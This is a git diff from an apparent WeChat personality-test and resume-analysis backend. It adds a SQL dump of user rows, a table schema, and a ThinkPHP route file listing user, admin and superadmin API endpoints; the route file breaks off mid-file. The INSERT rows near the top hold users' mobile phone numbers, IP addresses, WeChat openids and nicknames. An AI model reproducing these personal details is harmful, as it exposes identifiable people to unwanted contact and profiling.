+INSERT INTO `mbti_wechat_users` VALUES (6, 'oucCB15WDKCdwfNo-fpyS72iY5IQ--', NULL, '3Z7XoZZOuXsFCAeOM2ZaaQ==', '少年梦想家', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc8ceabbea7.94372759.jpeg', '13110806007', 0, NULL, NULL, NULL, 1, 1773130511, '222.76.193.38', NULL, 1772422831, 1773286899, 2620, 2620, 0);
+INSERT INTO `mbti_wechat_users` VALUES (7, 'oucCB1_5bbtQ81rUGzlFAe26QYJM', NULL, 'TAODhksGkILOe+ZS5GpJ4w==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772428029, '119.84.150.113', NULL, 1772428029, 1772428029, 0, 0, 0);
+INSERT INTO `mbti_wechat_users` VALUES (8, 'oucCB16Y_fH9Iw-cPIiKib7Q0gVk', NULL, 'aZkoI0tiaI2XXLAAjwNbUg==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772593719, '124.220.124.244', NULL, 1772432954, 1772593719, 0, 0, 0);
+INSERT INTO `mbti_wechat_users` VALUES (9, 'oucCB1_sptMQ_vqSc6RhSOlseE0Y', NULL, '2DfWem3RagjzG8x0iPZjXg==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772432999, '101.34.86.201', NULL, 1772432955, 1772432999, 0, 0, 0);
+INSERT INTO `mbti_wechat_users` VALUES (10, 'oucCB11HD-1l-YS391Ksx0p6DKeQ', NULL, 'jIxvJ2dBwKgDpM7etmgXtw==', NULL, 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a5027b019460.49988894.png', NULL, 0, NULL, NULL, NULL, 1, 1772432992, '119.84.150.101', NULL, 1772432961, 1772432992, 0, 0, 0);
+INSERT INTO `mbti_wechat_users` VALUES (11, 'oucCB1-b0mGsNG_EP9XxmXmmfmls', NULL, '4mx3aYCq5PwfBclj1iwntw==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772433827, '119.84.150.113', NULL, 1772433827, 1772433827, 0, 0, 0);
+INSERT INTO `mbti_wechat_users` VALUES (12, 'oucCB17fP8tjK8p6L10kYtM_u-zM', NULL, 'N/fuTTQvjPFsdjZMEwTyZA==', '爱赛车的阿猫', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf356ec8f3.31976760.jpg', '13779954946', 0, NULL, NULL, NULL, 1, 1773217705, '222.76.193.38', NULL, 1772534377, 1773229546, 14, 14, 0);
+INSERT INTO `mbti_wechat_users` VALUES (13, 'oucCB10Xq40i5Kz3D0byaA3LXGsU', NULL, '6he+DL8PwR7KwRdLzufbeQ==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772587863, '124.221.213.176', NULL, 1772587863, 1772587863, 0, 0, 0);
+INSERT INTO `mbti_wechat_users` VALUES (14, 'oucCB1zoVf5jzHeA5YNtouDhO1Uw', NULL, '6QwjTxDBJhjm02TdFBMIwA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772609271, '101.34.86.201', NULL, 1772587866, 1772609271, 0, 0, 0);
+INSERT INTO `mbti_wechat_users` VALUES (15, 'oucCB1-cPFRxWwZLU1Rt8Jl3yqkM', NULL, '1o+Ieuce2AYUP4MSFV9oYA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772587871, '119.84.150.102', NULL, 1772587871, 1772587871, 0, 0, 0);
+INSERT INTO `mbti_wechat_users` VALUES (16, 'oucCB14MiTaXm3IAh_eKDkui42aY', NULL, '1XfGYR4ZXEOueNgH8NZ2xQ==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772588221, '124.221.213.176', NULL, 1772588221, 1772588221, 0, 0, 0);
+INSERT INTO `mbti_wechat_users` VALUES (17, 'oucCB1zfI9ZC4rtyS9kpgq1TFv7s', NULL, '90xVsk1deW6kNtxtswQReA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772588229, '119.84.150.115', NULL, 1772588229, 1772588229, 0, 0, 0);
+INSERT INTO `mbti_wechat_users` VALUES (18, 'oucCB19sPEfQMkcHuath9liaVp4o', NULL, '6qIZC+5eTgLm+d3Iriwi8g==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772589192, '119.84.150.113', NULL, 1772589192, 1772589192, 0, 0, 0);
+INSERT INTO `mbti_wechat_users` VALUES (19, 'oucCB10X6rrCC6QPeIpQk4u3mhLk', NULL, 'JBzoreuWsEYjPlQpjpdMbA==', NULL, NULL, '18924071446', 0, NULL, NULL, NULL, 1, 1772593719, '124.221.213.176', NULL, 1772593719, 1772593735, 0, 0, 0);
+INSERT INTO `mbti_wechat_users` VALUES (20, 'oucCB1zOYr5nheN_OuCZf1EbS6BI', NULL, '3Da5VazXw2AkCUv00ZdgeA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772593727, '119.84.150.100', NULL, 1772593727, 1772593727, 0, 0, 0);
+INSERT INTO `mbti_wechat_users` VALUES (21, 'oucCB19_JfV_1PnXxL_GOgwPDZ5w', NULL, '1KIxerwbaejMl3/htXoMFw==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772610153, '119.84.150.101', NULL, 1772594436, 1772610153, 0, 0, 0);
+INSERT INTO `mbti_wechat_users` VALUES (22, 'oucCB11X7Hn-4gn8Q10sykL9aHUw', NULL, 'IUG7/aDWL16UJT0fnEIcEw==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772609270, '124.221.213.176', NULL, 1772609270, 1772609270, 0, 0, 0);
+INSERT INTO `mbti_wechat_users` VALUES (23, 'oucCB17O20KVCvLqkpVYTs8oGaJQ', NULL, 'UySPIMyFc4M3cnSSvbX0eA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772609278, '119.84.150.115', NULL, 1772609278, 1772609278, 0, 0, 0);
+INSERT INTO `mbti_wechat_users` VALUES (24, 'oucCB181zBrbwJwnqN11V2rSeS7E', NULL, 'ZkTEV1H6s08LXlLvfSdXIQ==', '#卡若🔥(4:00起床的男人)', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14e40ae20b9.53607517.jpg', '15880802661', 0, NULL, NULL, NULL, 1, 1773231282, '222.76.193.38', NULL, 1773061047, 1773231282, 0, 0, 0);
+INSERT INTO `mbti_wechat_users` VALUES (25, 'oucCB18Dwy5wOVuFSAloFg4b1bl8', NULL, 'OE5HKcEnqpsVIh4Vk47qJA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773066331, '175.24.88.249', NULL, 1773066331, 1773066331, 0, 0, 0);
+INSERT INTO `mbti_wechat_users` VALUES (26, 'oucCB15WDKCdwfNo-fpyS72iY5IQ', NULL, '3Z7XoZZOuXsFCAeOM2ZaaQ==', NULL, NULL, '13110806007', 0, NULL, NULL, NULL, 1, 1773137368, '222.76.193.38', NULL, 1773133041, 1773137368, 0, 0, 0);
+INSERT INTO `mbti_wechat_users` VALUES (27, 'oucCB1-K4ri1DGRVesilwXqw1Qxk', NULL, 'fMuJbnjzGigkFBxdpUVQBw==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773217886, '27.149.120.53', NULL, 1773217886, 1773217886, 0, 0, 0);
+INSERT INTO `mbti_wechat_users` VALUES (28, 'oucCB1-bQ7huEfCauj_MQOjnGuEs', NULL, 'cTImYWuAznp8D4BiOOWRRw==', NULL, NULL, '13411334222', 0, NULL, NULL, NULL, 1, 1773219235, '223.104.71.240', NULL, 1773217917, 1773219235, 0, 0, 0);
+INSERT INTO `mbti_wechat_users` VALUES (29, 'oucCB135WoglJJE6CSo4lETLk1OE', NULL, '5UlxDaBGnSdwXbcNswv97w==', NULL, NULL, '15860758013', 0, NULL, NULL, NULL, 1, 1773219510, '223.104.48.225', NULL, 1773218797, 1773219510, 0, 0, 0);
+INSERT INTO `mbti_wechat_users` VALUES (30, 'oucCB1_8mgBxu2fIQKLfwU62vl8I', NULL, 'NTRPgwfEBLWSZNPROn032Q==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773219121, '223.104.71.248', NULL, 1773219121, 1773219121, 0, 0, 0);
+INSERT INTO `mbti_wechat_users` VALUES (31, 'oucCB11VN18Rxc80sAUdag1aGkPY', NULL, 'Waz1oii3uwp9ZAQgVklbqA==', NULL, NULL, '18659005777', 0, NULL, NULL, NULL, 1, 1773219310, '117.30.58.90', NULL, 1773219310, 1773219346, 0, 0, 0);
+INSERT INTO `mbti_wechat_users` VALUES (32, 'oucCB1335FBVeJvdMbS6FpwBKKvI', NULL, 'NqIxNIOgr7bpuuAPwusL1g==', NULL, NULL, '15805958716', 0, NULL, NULL, NULL, 1, 1773222524, '110.84.204.164', NULL, 1773222524, 1773222574, 0, 0, 0);
+INSERT INTO `mbti_wechat_users` VALUES (33, 'oucCB1wHXJDd6Sl82PZsxcn3V1h8', NULL, 'Oula89tgjDUXcMetIaBhog==', NULL, NULL, '18850346418', 0, NULL, NULL, NULL, 1, 1773228674, '112.48.34.30', NULL, 1773227436, 1773228674, 0, 0, 0);
+INSERT INTO `mbti_wechat_users` VALUES (34, 'oucCB1zbypvt8QNEexA_EiouHkaU', NULL, 'h1Fh+tvT1GcOSxXyIzZiuA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773229125, '222.76.193.38', NULL, 1773227693, 1773229125, 3, 3, 0);
+INSERT INTO `mbti_wechat_users` VALUES (35, 'oucCB18qWRguSU_LK5EP1V_FqdLk', NULL, 'LgIWb7H3E+5ZJ6mWHy9A5A==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773228752, '117.28.9.96', NULL, 1773227750, 1773228752, 0, 0, 0);
+INSERT INTO `mbti_wechat_users` VALUES (36, 'oucCB1yCpTUcX2CPZteunMUKEFvE', NULL, 'zIPfx44UMAi1ALBK5yrLPg==', NULL, NULL, '18850326353', 0, NULL, NULL, NULL, 1, 1773229479, '27.154.11.72', NULL, 1773229479, 1773229513, 0, 0, 0);
+INSERT INTO `mbti_wechat_users` VALUES (37, 'oucCB134llW9EoR6OtP1AM50LBOM', NULL, 'SGc5dSebmvp+TtpdOOwNdw==', NULL, NULL, '17395813556', 0, NULL, NULL, NULL, 1, 1773229676, '120.32.220.217', NULL, 1773229676, 1773229701, 0, 0, 0);
+INSERT INTO `mbti_wechat_users` VALUES (38, 'oucCB18frhXQcLlU2hUJ1c7ooL3g', NULL, '3IwAZ9hCFqdInbu3OoYfBg==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773231619, '116.29.89.143', NULL, 1773231619, 1773231619, 0, 0, 0);
+INSERT INTO `mbti_wechat_users` VALUES (39, 'oucCB1y6atjlKTz619OUmRKBDO30', NULL, '+BmcKqoenVTFUGy4rh/fOw==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773287158, '124.220.124.244', NULL, 1773287158, 1773287158, 0, 0, 0);
+INSERT INTO `mbti_wechat_users` VALUES (40, 'oucCB12uNbF9uKd67yXASAHWn_bQ', NULL, 'QrbbWtXwVDMjMQj68ua8nA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773287165, '119.84.150.102', NULL, 1773287165, 1773287165, 0, 0, 0);
+INSERT INTO `mbti_wechat_users` VALUES (41, 'oucCB167FI5QToi3SGSwil9BcCtM', NULL, 'H3V1Dh4xUYuSY64D4hULuA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773290278, '119.84.150.103', NULL, 1773290278, 1773290278, 0, 0, 0);
+
+-- ----------------------------
+-- Table structure for mbti_enterprise_resume_uploads
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_enterprise_resume_uploads`;
+CREATE TABLE `mbti_enterprise_resume_uploads` (
+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID',
+ `userId` int(11) NOT NULL COMMENT '用户ID(wechat_users.id)',
+ `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID,可选',
+ `fileUrl` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '文件访问URL',
+ `fileName` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT '原始文件名',
+ `is_default` tinyint(1) NOT NULL DEFAULT 0 COMMENT '是否默认简历:1是 0否,同用户同企业仅一条为1',
+ `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)',
+ PRIMARY KEY (`id`) USING BTREE,
+ INDEX `idx_userId`(`userId`) USING BTREE,
+ INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE,
+ INDEX `idx_createdAt`(`createdAt`) USING BTREE
+) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '企业版简历上传记录表' ROW_FORMAT = Dynamic;
+
+-- 若表已存在且无 is_default 列,请执行:
+-- ALTER TABLE mbti_enterprise_resume_uploads ADD COLUMN is_default tinyint(1) NOT NULL DEFAULT 0 COMMENT '是否默认简历:1是 0否' AFTER fileName;
+
+SET FOREIGN_KEY_CHECKS = 1;
diff --git a/api/route/api.php b/api/route/api.php
new file mode 100644
index 0000000..13393ad
--- /dev/null
+++ b/api/route/api.php
@@ -0,0 +1,382 @@
+middleware(['cors', 'auth']);
+
+// 前端公开API路由(不需要认证)
+Route::group('api', function () {
+ // 用户认证相关
+ Route::post('auth/login', 'api.Auth/login');
+ Route::post('auth/register', 'api.Auth/register');
+ Route::post('auth/refresh', 'api.Auth/refresh');
+ // 微信小程序登录
+ Route::post('auth/wechat', 'api.Auth/wechatLogin');
+})->middleware('cors');
+
+// 小程序/前端运行配置与面相分析(可选 token)
+Route::group('api', function () {
+ Route::get('config/runtime', 'api.AppConfig/runtime');
+ Route::get('config/deep-pricing', 'api.AppConfig/deepPricing');
+ Route::post('analyze', 'api.Analyze/index');
+})->middleware('cors');
+
+// 前端需要认证的API路由
+Route::group('api', function () {
+ // 用户信息
+ Route::get('auth/me', 'api.Auth/me');
+ Route::post('auth/logout', 'api.Auth/logout');
+ // 小程序扫码企业邀请后绑定企业
+ Route::post('enterprise/bind', 'api.Auth/wechatBindEnterprise');
+ // 企业版简历上传记录(具体路径放前面,避免被 POST resume-uploads 吞掉)
+ Route::get('enterprise/resume-uploads', 'api.EnterpriseResume/list');
+ Route::post('enterprise/resume-uploads/set-default', 'api.EnterpriseResume/setDefault');
+ Route::post('enterprise/resume-uploads/delete', 'api.EnterpriseResume/delete');
+ Route::post('enterprise/resume-uploads', 'api.EnterpriseResume/add');
+ // 小程序用户更新资料
+ Route::put('auth/wechat/profile', 'api.Auth/updateWechatProfile');
+ // 小程序用户上传图片(头像等)
+ Route::post('upload/image', 'api.Upload/image');
+ // 小程序用户上传文件(候选人简历等)
+ Route::post('upload/file', 'api.Upload/file');
+ // 当前用户测试历史记录(小程序「测试历史」页)
+ Route::get('test/history', 'api.Test/history');
+ // 当前用户各类型最新一条记录(小程序「我的」页)
+ Route::get('test/recent', 'api.Test/recent');
+ // 单条测试详情
+ Route::get('test/detail', 'api.Test/detail');
+ // 提交测试结果(MBTI/DISC/PDP 等)
+ Route::post('test/submit', 'api.Test/submit');
+ // 简历综合分析(基于人脸/MBTI/PDP/DISC 最近一次结果)
+ Route::post('resume/analyze', 'api.Analyze/resumeAnalysis');
+ // 支付与订单
+ Route::post('payment/create', 'api.Payment/create');
+ Route::post('payment/notify', 'api.Payment/notify');
+ Route::get('payment/query', 'api.Payment/query');
+ // 分销
+ Route::post('distribution/bind', 'api.Distribution/bind');
+ Route::get('distribution/stats', 'api.Distribution/stats');
+ Route::get('distribution/bindings', 'api.Distribution/bindings');
+ Route::get('distribution/commissions', 'api.Distribution/commissions');
+ Route::post('distribution/withdraw', 'api.Distribution/withdraw');
+ Route::get('distribution/withdrawals', 'api.Distribution/withdrawals');
+ Route::post('distribution/withdrawals/query-transfer', 'api.Distribution/queryTransfer');
+ Route::get('distribution/qrcode', 'api.Distribution/qrcode');
+ Route::get('distribution/poster', 'api.Distribution/poster');
+ // 微信商家转账结果回调(无需登录,但需配置到微信商户平台)
+ Route::post('wechat/transfer/notify', 'api.WechatTransferNotify/notify')->middleware('cors');
+ // 存客宝获客线索上报
+ Route::post('crm/report', 'api.CrmReport/report');
+})->middleware(['cors', 'auth']);
+
+// ==================== 小程序API路由(匹配前端 /api 路径)====================
+// 小程序公开API路由(不需要认证)- 与前端共用上面 api 组,此处可不再重复
+// 小程序需要认证的API路由 - 与前端共用上面 api 组
+
+// ==================== 普通管理员API路由(匹配前端 /api/v1/admin 路径)====================
+// 普通管理员认证路由(不需要认证)
+Route::group('api/v1/admin', function () {
+ // 普通管理员登录
+ Route::post('auth/login', 'admin.Auth/adminLogin');
+ // 刷新Token
+ Route::post('auth/refresh', 'admin.Auth/refresh');
+})->middleware('cors');
+
+// 普通管理员路由(需要认证)
+Route::group('api/v1/admin', function () {
+ // 管理员认证
+ Route::get('auth/me', 'admin.Auth/me');
+ Route::post('auth/logout', 'admin.Auth/logout');
+
+ // 仪表盘统计
+ Route::get('dashboard', 'admin.Dashboard/index');
+
+ // 邀请二维码
+ Route::get('invite/qrcode', 'admin.Invite/qrcode');
+
+ // 通用上传
+ Route::post('upload/image', 'admin.Upload/image');
+
+ // 测试用户(小程序用户,只读列表与详情)
+ Route::get('app-users/:id', 'admin.AppUser/detail');
+ Route::get('app-users', 'admin.AppUser/index');
+ // 订单列表(含用户与关联测试数据)
+ Route::get('orders', 'admin.Order/index');
+ // 用户管理(普通管理员和企业管理员,后台账号)
+ Route::get('users', 'admin.User/index');
+ Route::get('users/:id', 'admin.User/detail');
+ Route::post('users', 'admin.User/create');
+ Route::put('users/:id', 'admin.User/update');
+ Route::delete('users/:id', 'admin.User/delete');
+ Route::put('users/:id/status', 'admin.User/toggleStatus');
+
+ // 题库管理(企业管理员和普通管理员)
+ Route::get('questions/:id', 'admin.Question/detail');
+ Route::get('questions', 'admin.Question/index');
+ Route::post('questions', 'admin.Question/create');
+ Route::put('questions/:id', 'admin.Question/update');
+ Route::delete('questions/:id', 'admin.Question/delete');
+ Route::put('questions/:id/status', 'admin.Question/toggleStatus');
+ Route::post('questions/batch-import', 'admin.Question/batchImport');
+
+ // 定价管理(普通管理员)
+ Route::get('pricing', 'admin.Pricing/index');
+ Route::put('pricing', 'admin.Pricing/update');
+
+ // 系统设置(普通管理员,子路径放前面避免被 settings 吞掉)
+ Route::get('settings/miniprogram', 'admin.Settings/getMiniprogramConfig');
+ Route::put('settings/miniprogram', 'admin.Settings/updateMiniprogramConfig');
+ Route::get('settings/poster', 'admin.Settings/getPosterConfig');
+ Route::put('settings/poster', 'admin.Settings/updatePosterConfig');
+ Route::get('settings/fonts', 'admin.Settings/getFonts');
+ Route::put('settings/credentials', 'admin.Settings/updateCredentials');
+ Route::get('settings', 'admin.Settings/index');
+
+ // 分销管理(企业管理员)
+ Route::get('distribution/overview', 'admin.Distribution/overview');
+ Route::get('distribution/distributors', 'admin.Distribution/distributors');
+ Route::get('distribution/bindings', 'admin.Distribution/bindings');
+ Route::get('distribution/commissions', 'admin.Distribution/commissions');
+ Route::get('distribution/withdrawals', 'admin.Distribution/withdrawals');
+ Route::post('distribution/withdrawals/:id/approve', 'admin.Distribution/approveWithdrawal');
+ Route::post('distribution/withdrawals/:id/reject', 'admin.Distribution/rejectWithdrawal');
+ Route::get('distribution/settings', 'admin.Distribution/settings');
+ Route::put('distribution/settings', 'admin.Distribution/updateSettings');
+
+ // 企业财务(企业管理员)
+ Route::get('finance/overview', 'admin.Finance/overview');
+ Route::get('finance/records', 'admin.Finance/records');
+ Route::post('finance/recharge-qrcode', 'admin.Finance/rechargeQrcode');
+ Route::post('finance/recharge', 'admin.Finance/rechargeQrcode');
+})->middleware(['cors', 'auth']);
+
+// ==================== 超级管理员API路由(匹配前端 /api/v1/superadmin 路径)====================
+// 超级管理员认证路由(不需要认证)
+Route::group('api/v1/superadmin', function () {
+ // 超级管理员登录
+ Route::post('auth/login', 'superadmin.Auth/login');
+ // 刷新Token
+ Route::post('auth/refresh', 'superadmin.Auth/refresh');
+})->middleware('cors');
+
+// 超级管理员路由(需要认证)
+Route::group('api/v1/superadmin', function () {
+ // 超级管理员认证
+ Route::get('auth/me', 'superadmin.Auth/me');
+ Route::post('auth/logout', 'superadmin.Auth/logout');
+
+ // 企业管理(超管专用)
+ // 注意:带参数的路由要放在不带参数的路由之前,避免路由匹配冲突
+ Route::get('enterprises/:id/detail', 'superadmin.Enterprise/detail'); // 详细详情接口
+ Route::get('enterprises/:id', 'superadmin.Enterprise/detail');
+ Route::get('enterprises', 'superadmin.Enterprise/index');
+ Route::post('enterprises', 'superadmin.Enterprise/create');
+ Route::put('enterprises/:id', 'superadmin.Enterprise/update');
+ Route::delete('enterprises/:id', 'superadmin.Enterprise/delete');
+ Route::put('enterprises/:id/status', 'superadmin.Enterprise/toggleStatus');
+
+ // 题库管理(超管专用,管理超管题库)
+ Route::get('questions/:id', 'superadmin.Question/detail');
+ Route::get('questions', 'superadmin.Question/index');
+ Route::post('questions', 'superadmin.Question/create');
+ Route::put('questions/:id', 'superadmin.Question/update');
+ Route::delete('questions/:id', 'superadmin.Question/delete');
+ Route::put('questions/:id/status', 'superadmin.Question/toggleStatus');
+ Route::post('questions/batch-import', 'superadmin.Question/batchImport');
+
+ // 全局定价管理(超管专用)
+ Route::get('pricing', 'superadmin.Pricing/index');
+ Route::put('pricing', 'superadmin.Pricing/update');
+ Route::post('pricing/batch-update', 'superadmin.Pricing/batchUpdate');
+
+ // AI服务商配置管理(超管专用)
+ Route::get('ai-config', 'superadmin.AiConfig/index');
+ Route::put('ai-config', 'superadmin.AiConfig/update');
+ Route::post('ai-config/batch-update', 'superadmin.AiConfig/batchUpdate');
+ Route::post('ai-config/query-balance', 'superadmin.AiConfig/queryBalance');
+ Route::post('ai-config/query-all-balances', 'superadmin.AiConfig/queryAllBalances');
+
+ // 数据库管理(超管专用)
+ Route::get('database/info', 'superadmin.Database/info');
+ Route::get('database/tables', 'superadmin.Database/tables');
+ Route::get('database/view-table', 'superadmin.Database/viewTable');
+ Route::post('database/export-table', 'superadmin.Database/exportTable');
+ Route::post('database/clear-table', 'superadmin.Database/clearTable');
+ Route::post('database/backup', 'superadmin.Database/backup');
+ Route::get('database/backups', 'superadmin.Database/backups');
+ Route::delete('database/backups/:id', 'superadmin.Database/delete');
+ Route::post('database/backups/delete', 'superadmin.Database/delete');
+ Route::get('database/download', 'superadmin.Database/download');
+ Route::post('database/restore', 'superadmin.Database/restore');
+
+ // 通用上传(超管)
+ Route::post('upload/image', 'admin.Upload/image');
+
+ // 系统设置(超管专用,子路径放前面避免被 settings 吞掉)
+ Route::get('settings/fonts', 'superadmin.Settings/getFonts');
+ Route::get('settings/poster', 'superadmin.Settings/getPosterConfig');
+ Route::put('settings/poster', 'superadmin.Settings/updatePosterConfig');
+ Route::get('settings', 'superadmin.Settings/index');
+ Route::put('settings/system', 'superadmin.Settings/updateSystem');
+ Route::put('settings/report-requires-payment', 'superadmin.Settings/updateReportRequiresPayment');
+ Route::put('settings/notification', 'superadmin.Settings/updateNotification');
+ Route::put('settings/prompts', 'superadmin.Settings/updatePrompts');
+ Route::put('settings/credentials', 'superadmin.Settings/updateCredentials');
+
+ // 测试用户(超管专用)
+ Route::get('app-users/overview', 'superadmin.AppUser/overview');
+ Route::get('app-users/:id', 'superadmin.AppUser/detail');
+ Route::get('app-users', 'superadmin.AppUser/index');
+
+ // 数据概览(超管专用,子路径放前面避免被 overview 吞掉)
+ Route::get('overview/recent-dynamics', 'superadmin.Overview/recentDynamics');
+ Route::get('overview/enterprise-ranking', 'superadmin.Overview/enterpriseRanking');
+ Route::get('overview/test-trends', 'superadmin.Overview/testTrends');
+ Route::get('overview', 'superadmin.Overview/index');
+
+ // 财务管理(超管专用)
+ Route::get('finance/overview', 'superadmin.Finance/overview');
+ Route::get('finance/revenue-details', 'superadmin.Finance/revenueDetails');
+ Route::get('finance/cost-details', 'superadmin.Finance/costDetails');
+ Route::get('finance/recharge-records', 'superadmin.Finance/rechargeRecords');
+ Route::get('finance/payment-records', 'superadmin.Finance/paymentRecords');
+ Route::post('finance/export', 'superadmin.Finance/export');
+ // 分销管理(超管专用 - 个人版全平台视图)
+ Route::get('distribution/overview', 'superadmin.Distribution/overview');
+ Route::get('distribution/bindings', 'superadmin.Distribution/bindings');
+ Route::get('distribution/commissions', 'superadmin.Distribution/commissions');
+ Route::get('distribution/withdrawals', 'superadmin.Distribution/withdrawals');
+ Route::post('distribution/withdrawals/:id/approve', 'superadmin.Distribution/approveWithdrawal');
+ Route::post('distribution/withdrawals/:id/reject', 'superadmin.Distribution/rejectWithdrawal');
+ Route::get('distribution/settings', 'superadmin.Distribution/settings');
+ Route::put('distribution/settings', 'superadmin.Distribution/updateSettings');
+})->middleware(['cors', 'auth', 'superadmin']);
+
+// ==================== 兼容旧版路由(保留,逐步废弃)====================
+// 管理后台认证路由(不需要认证)- 兼容旧版
+Route::group('api/v1', function () {
+ // 管理员登录(兼容旧版)
+ Route::post('auth/admin/login', 'admin.Auth/adminLogin');
+ // 超级管理员登录(兼容旧版)
+ Route::post('auth/superadmin/login', 'superadmin.Auth/login');
+ // 刷新Token(兼容旧版)
+ Route::post('auth/refresh', 'admin.Auth/refresh');
+})->middleware('cors');
+
+// 管理后台路由(需要认证)- 兼容旧版
+Route::group('api/v1', function () {
+ // 管理员认证(兼容旧版)
+ Route::get('auth/me', 'admin.Auth/me');
+ Route::post('auth/logout', 'admin.Auth/logout');
+
+ // 仪表盘统计(兼容旧版)
+ Route::get('dashboard', 'admin.Dashboard/index');
+
+ // 通用上传(兼容旧版)
+ Route::post('upload/image', 'admin.Upload/image');
+
+ // 用户管理(兼容旧版)
+ Route::get('users', 'admin.User/index');
+ Route::get('users/:id', 'admin.User/detail');
+ Route::post('users', 'admin.User/create');
+ Route::put('users/:id', 'admin.User/update');
+ Route::delete('users/:id', 'admin.User/delete');
+ Route::put('users/:id/status', 'admin.User/toggleStatus');
+
+ // 企业管理(超管,兼容旧版)
+ // 注意:带参数的路由要放在不带参数的路由之前,避免路由匹配冲突
+ Route::get('enterprises/:id/detail', 'superadmin.Enterprise/detail'); // 详细详情接口
+ Route::get('enterprises/:id', 'superadmin.Enterprise/detail');
+ Route::get('enterprises', 'superadmin.Enterprise/index');
+ Route::post('enterprises', 'superadmin.Enterprise/create');
+ Route::put('enterprises/:id', 'superadmin.Enterprise/update');
+ Route::delete('enterprises/:id', 'superadmin.Enterprise/delete');
+ Route::put('enterprises/:id/status', 'superadmin.Enterprise/toggleStatus');
+
+ // 题库管理(兼容旧版)
+ Route::get('questions/:id', 'admin.Question/detail');
+ Route::get('questions', 'admin.Question/index');
+ Route::post('questions', 'admin.Question/create');
+ Route::put('questions/:id', 'admin.Question/update');
+ Route::delete('questions/:id', 'admin.Question/delete');
+ Route::put('questions/:id/status', 'admin.Question/toggleStatus');
+ Route::post('questions/batch-import', 'admin.Question/batchImport');
+
+ // 企业财务(兼容旧版)
+ Route::get('finance/overview', 'admin.Finance/overview');
+ Route::get('finance/records', 'admin.Finance/records');
+ Route::post('finance/recharge-qrcode', 'admin.Finance/rechargeQrcode');
+ Route::post('finance/recharge', 'admin.Finance/rechargeQrcode');
+})->middleware(['cors', 'auth']);
+
+// ==================== 兼容旧版路由(保留)====================
+// 后台管理认证路由(不需要认证)- 兼容旧版
+Route::group('api/admin', function () {
+ // 管理员登录
+ Route::post('auth/login', 'admin.Auth/login');
+ Route::post('auth/refresh', 'admin.Auth/refresh');
+})->middleware('cors');
+
+// 后台管理路由(需要认证)- 兼容旧版
+Route::group('api/admin', function () {
+ // 管理员认证
+ Route::get('auth/me', 'admin.Auth/me');
+ Route::post('auth/logout', 'admin.Auth/logout');
+
+ // 仪表盘统计
+ Route::get('dashboard', 'admin.Dashboard/index');
+
+ // 通用上传
+ Route::post('upload/image', 'admin.Upload/image');
+
+ // 用户管理
+ Route::get('users', 'admin.User/index');
+ Route::get('users/:id', 'admin.User/detail');
+ Route::post('users', 'admin.User/create');
+ Route::put('users/:id', 'admin.User/update');
+ Route::delete('users/:id', 'admin.User/delete');
+ Route::put('users/:id/status', 'admin.User/toggleStatus');
+
+ // 企业财务
+ Route::get('finance/overview', 'admin.Finance/overview');
+ Route::get('finance/records', 'admin.Finance/records');
+ Route::post('finance/recharge-qrcode', 'admin.Finance/rechargeQrcode');
+ Route::post('finance/recharge', 'admin.Finance/rechargeQrcode');
+})->middleware(['cors', 'auth']);
+
+// ==================== 兼容旧版路由(保留)====================
+// 后台管理认证路由(不需要认证)- 兼容旧版
+Route::group('api/admin', function () {
+ // 管理员登录
+ Route::post('auth/login', 'admin.Auth/login');
+ Route::post('auth/refresh', 'admin.Auth/refresh');
+})->middleware('cors');
+
+// 后台管理路由(需要认证)- 兼容旧版
+Route::group('api/admin', function () {
+ // 管理员认证
+ Route::get('auth/me', 'admin.Auth/me');
+ Route::post('auth/logout', 'admin.Auth/logout');
+
+ // 仪表盘统计
+ Route::get('dashboard', 'admin.Dashboard/index');
+
+ // 通用上传
+ Route::post('upload/image', 'admin.Upload/image');
+
+ // 用户管理
+ Route::get('users', 'admin.User/index');
+ Route::get('users/:id', 'admin.User/detail');
+ Route::post('users', 'admin.User/create');
+ Route::put('users/:id', 'admin.User/update');
+ Route::delete('users/:id', 'admin.User/delete');
+ Route::put('users/:id/status', 'admin.User/toggleStatus');
+
+ // 企业财务
+ Route::get('finance/overview', 'admin.Finance/overview');
+ Route::get('finance/records', 'admin.Finance/records');
